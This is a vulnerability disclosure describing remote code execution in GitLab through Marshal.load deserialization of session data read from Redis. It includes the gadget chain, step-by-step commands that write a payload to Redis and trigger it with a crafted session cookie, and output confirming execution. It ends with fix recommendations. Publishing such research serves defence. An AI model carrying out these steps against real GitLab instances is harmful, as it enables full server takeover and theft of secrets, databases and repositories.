If the Redis server used by a GitLab instance is compromised in any way, the GitLab instance itself can be fully compromised through insecure deserialization vulnerabilities in how GitLab handles session data.
GitLab uses Ruby's Marshal.load — a known-dangerous deserialization primitive — on data read directly from Redis, with no integrity verification. An attacker who gains write access to Redis (through misconfiguration, network access, SSRF, or any other means) can write a crafted payload that executes arbitrary code when GitLab deserializes it.
Two independent code paths are affected, both present in GitLab CE and EE.
Tested on: GitLab CE 18.8.4 (Omnibus Docker)
Attacker writes malicious Marshal payload to Redis
→ GitLab reads it back via Marshal.load
→ Arbitrary code execution as the `git` user (Puma/Sidekiq)
→ Full server compromise (secrets.yml, database, all repositories)
Disclosure: This vulnerability was reported to GitLab via HackerOne and was closed as Informational. Their assessment was that the pre-requisite of Redis access reduces exploitability. However, the default Omnibus installation ships Redis without authentication, and multiple deployment configurations (HA, Kubernetes) expose Redis over the network by design. I disagree with this assessment and am publishing this research so the community can evaluate the risk independently. If you share this concern, consider reporting it to GitLab — broader visibility may help prioritize a fix.
In default Omnibus installations, Redis:
- Listens on
127.0.0.1:6379with no authentication - Is accessible via Unix socket at
/var/opt/gitlab/redis/redis.socket - In HA deployments, listens on a network interface for Sentinel replication
- In Kubernetes Helm chart deployments, is accessible at
gitlab-redis-master:6379from any pod in the namespace
Redis is a cache/transport layer — it is not a trust boundary. Yet GitLab implicitly trusts that data in Redis has not been tampered with by calling Marshal.load on it without any signature or integrity check.
The exploit uses an ActiveRecord::Associations::Association → Gem::Installer → Gem::Package::TarReader → Net::BufferedIO → Logger → Rack::Response → Sprockets::ERBProcessor gadget chain. During deserialization, the chain triggers Sprockets' ERB template processing, which evaluates attacker-controlled ERB containing a system() call.
The payload generator (generate_payload.rb) must be run inside the GitLab container via gitlab-rails runner since it depends on Rails gems.
docker run -d --name gitlab-ce -p 8080:80 gitlab/gitlab-ce:latest
# Wait for GitLab to fully start (~2-3 minutes)docker cp generate_payload.rb gitlab-ce:/tmp/generate_payload.rb
docker exec gitlab-ce gitlab-rails runner /tmp/generate_payload.rb "id > /tmp/pwned"docker exec gitlab-ce bash -c 'cat /tmp/rce_payload.bin | redis-cli -s /var/opt/gitlab/redis/redis.socket -x SET "session:gitlab:EVIL"'
# Output: OKcurl -s -o /dev/null -w "%{http_code}" -b '_gitlab_session=EVIL' http://localhost:8080/
# Output: 500docker exec gitlab-ce cat /tmp/pwned
# Output:
# uid=998(git) gid=998(git) groups=998(git)The command executed as the git user — the same user that runs Puma and Sidekiq, with access to secrets.yml, the database, and all repositories.
Severity: Critical
File: lib/gitlab/sessions/cache_store_coder.rb
Trigger: Every authenticated HTTP request
# lib/gitlab/sessions/cache_store_coder.rb
module Gitlab
module Sessions
module CacheStoreCoder
extend self
include ActiveSupport::Cache::SerializerWithFallback[:marshal_7_1]
def load(payload)
unmarshalled = super # ← Marshal.load on data from Redis
return unmarshalled if unmarshalled.is_a?(ActiveSupport::Cache::Entry)
ActiveSupport::Cache::Entry.new(unmarshalled)
end
end
end
endThis coder is configured as the session store in lib/gitlab/sessions/store_builder.rb:
coder: Gitlab::Sessions::CacheStoreCoderSerializerWithFallback[:marshal_7_1] has a backward-compatibility fallback: if the data doesn't match the marshal_7_1 signature (\x00\x04\x08), it falls back to raw Marshal.load. This means any arbitrary bytes written to the session key will be deserialized.
session:gitlab:{PRIVATE_SESSION_ID}
Where PRIVATE_SESSION_ID = SHA256(public_session_id). The public session ID is the value of the _gitlab_session cookie, so an attacker can compute their own private ID trivially.
- Attacker reads their
_gitlab_sessioncookie value - Computes
private_id = SHA256(cookie_value) - Writes the Marshal RCE payload to Redis:
SET "session:gitlab:{private_id}" <payload> - Refreshes any GitLab page
CacheStoreCoder.load→Marshal.load→ RCE
- Triggered on every authenticated request — not a rare code path
- Attacker targets their own session — no need to guess or brute-force another user's session ID
- The trigger is instant and reliable — just refresh the page
Severity: High
File: app/models/active_session.rb (load_raw_session method)
Trigger: Session listing, session cleanup, admin panel
# app/models/active_session.rb — load_raw_session
if raw_session.start_with?('v2:')
session_data = Gitlab::Json.safe_parse(raw_session[3..]).symbolize_keys
session_data.slice!(*ATTR_ACCESSOR_LIST.union(ATTR_READER_LIST))
new(**session_data)
else
# Deprecated legacy format. To be removed in 15.0
session_data = ActiveSupport::Cache::SerializerWithFallback[:marshal_7_1].load(raw_session)
session_data.is_a?(ActiveSupport::Cache::Entry) ? session_data.value : session_data
endIf the data does not start with v2:, it hits the legacy fallback which calls Marshal.load. The comment says "To be removed in 15.0" — but it is still present.
session:user:gitlab:{USER_ID}:{SESSION_ID}
- Attacker writes a Marshal payload to
session:user:gitlab:{USER_ID}:{SESSION_ID}(payload must not start withv2:) - GitLab loads active sessions (user visits session list, admin views sessions, or cleanup cron runs)
load_raw_sessionhits the legacy fallback →Marshal.load→ RCE
Both vulnerabilities share the same root cause: Marshal.load on data from Redis without integrity verification. Redis is a transport layer, not a trust boundary. Any actor that can write to Redis can achieve arbitrary code execution on the GitLab application server.
- CacheStoreCoder: Replace
marshal_7_1with a JSON-based coder. Session data is a hash of simple types (_csrf_token,warden.user.user.key, etc.) — Marshal is unnecessary. - ActiveSession: Remove the legacy Marshal fallback entirely. Sessions in the old format should be discarded — users simply re-authenticate.
- Defense in depth: Enable Redis authentication (
requirepass) in all deployment configurations, including single-node Omnibus. Restrict Redis network access to only the services that need it.